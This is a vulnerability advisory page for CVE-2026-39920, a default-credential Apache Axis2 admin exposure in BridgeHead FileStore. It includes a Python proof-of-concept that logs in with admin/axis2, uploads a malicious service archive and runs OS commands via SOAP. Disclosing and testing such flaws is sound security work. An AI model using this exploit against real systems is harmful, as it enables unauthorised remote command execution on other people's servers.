Security Vulnerability Report
中文
CVE-2026-39920 CVSS 9.8 CRITICAL

CVE-2026-39920

Published: 2026-04-24 16:16:36
Last Modified: 2026-04-24 17:55:55

Description

BridgeHead FileStore versions prior to 24A (released in early 2024) expose the Apache Axis2 administration module on network-accessible endpoints with default credentials that allows unauthenticated remote attackers to execute arbitrary OS commands. Attackers can authenticate to the admin console using default credentials, upload a malicious Java archive as a web service, and execute arbitrary commands on the host via SOAP requests to the deployed service.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

BridgeHead FileStore < 24A

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target:8080/axis2/services/" login_url = "http://target:8080/axis2/axis2-admin/login" upload_url = "http://target:8080/axis2/axis2-admin/upload" service_name = "MaliciousService" # Default credentials credentials = { "userName": "admin", "password": "axis2" } # 1. Login to Axis2 Admin Console session = requests.Session() login_response = session.post(login_url, data=credentials) if login_response.status_code == 200 and "axis2-admin" in login_response.text: print("[+] Login successful using default credentials.") # 2. Upload malicious .aar file (Assuming 'exploit.aar' is prepared) # This step requires creating a .aar file with a Java class that executes commands files = {'file': ('exploit.aar', open('exploit.aar', 'rb'), 'application/java-archive')} upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: print("[+] Exploit .aar uploaded successfully.") # 3. Execute command via SOAP request # Constructing the SOAP envelope to call the malicious method soap_payload = f"""<?xml version='1.0' encoding='UTF-8'?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:executeCommand xmlns:ns1="http://service.example.com"> <cmd>whoami</cmd> </ns1:executeCommand> </soapenv:Body> </soapenv:Envelope>""" headers = {'Content-Type': 'text/xml'} exploit_response = session.post(f"{target_url}{service_name}", data=soap_payload, headers=headers) print("[+] Command execution response:") print(exploit_response.text) else: print("[-] Upload failed.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
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